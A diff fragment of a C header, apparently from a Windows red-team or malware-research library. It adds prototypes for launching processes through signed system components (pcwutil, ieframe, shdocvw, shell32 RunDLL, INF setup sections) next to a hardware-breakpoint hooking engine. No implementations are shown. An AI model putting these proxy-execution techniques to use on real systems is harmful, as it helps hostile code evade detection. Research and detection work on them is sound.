InlineGetCurrentProcess (HANDLE)((HANDLE)-1) - /******************************************* RAD HARDWARE BREAKPOINT HOOKING ENGINE DATA *******************************************/ @@ -221,6 +218,8 @@ DWORD GetPeSectionSizeInBytesW(_In_ LPCWSTR Path, _In_ LPCWSTR SectionName); DWORD GetPeSectionSizeInBytesA(_In_ LPCSTR Path, _In_ LPCSTR SectionName); BOOL ReadDataFromPeSectionW(_In_ LPCWSTR Path, _In_ LPCWSTR SectionName, _Inout_ PBYTE ReadData, _Inout_opt_ PDWORD DataReadInBytes); BOOL ReadDataFromPeSectionA(_In_ LPCSTR Path, _In_ LPCSTR SectionName, _Inout_ PBYTE ReadData, _Inout_opt_ PDWORD DataReadInBytes); +HANDLE GetCurrentProcessNoForward(VOID); +HANDLE GetCurrentThreadNoForward(VOID); @@ -364,6 +363,18 @@ BOOL CreateProcessFromINFSectionInstallStringNoCabW(LPCWSTR PathToInfFile, LPCWS BOOL CreateProcessFromINFSectionInstallStringNoCabA(LPCSTR PathToInfFile, LPCSTR NameOfSection); BOOL CreateProcessFromINFSetupCommandW(LPCWSTR PathToInfFile, LPCWSTR NameOfSection); BOOL CreateProcessFromINFSetupCommandA(LPCSTR PathToInfFile, LPCSTR NameOfSection); +BOOL CreateProcessFromPcwUtilW(LPCWSTR PathToBinary); +BOOL CreateProcessFromPcwUtilA(LPCSTR PathToBinary); +BOOL CreateProcessFromINFSectionInstallStringNoCab2A(LPCSTR PathToInfFile, LPCSTR NameOfSection); +BOOL CreateProcessFromINFSectionInstallStringNoCab2W(LPCWSTR PathToInfFile, LPCWSTR NameOfSection); +BOOL CreateProcessFromIeFrameOpenUrlW(LPCWSTR PathToUrlFile); +BOOL CreateProcessFromIeFrameOpenUrlA(LPCSTR PathToUrlFile); +BOOL CreateProcessFromINFSectionInstallStringNoCab3W(LPCWSTR PathToInfFile, LPCWSTR NameOfSection); // <--- not implemented +BOOL CreateProcessFromINFSectionInstallStringNoCab3A(LPCSTR PathToInfFile, LPCSTR NameOfSection); // <--- not implemented +BOOL CreateProcessFromShdocVwOpenUrlW(LPCWSTR PathToUrlFile); +BOOL CreateProcessFromShdocVwOpenUrlA(LPCSTR PathToUrlFile); +BOOL CreateProcessFromShell32ShellExecRunDllW(LPCWSTR PathToFile); +BOOL CreateProcessFromShell32ShellExecRunDllA(LPCSTR PathToFile);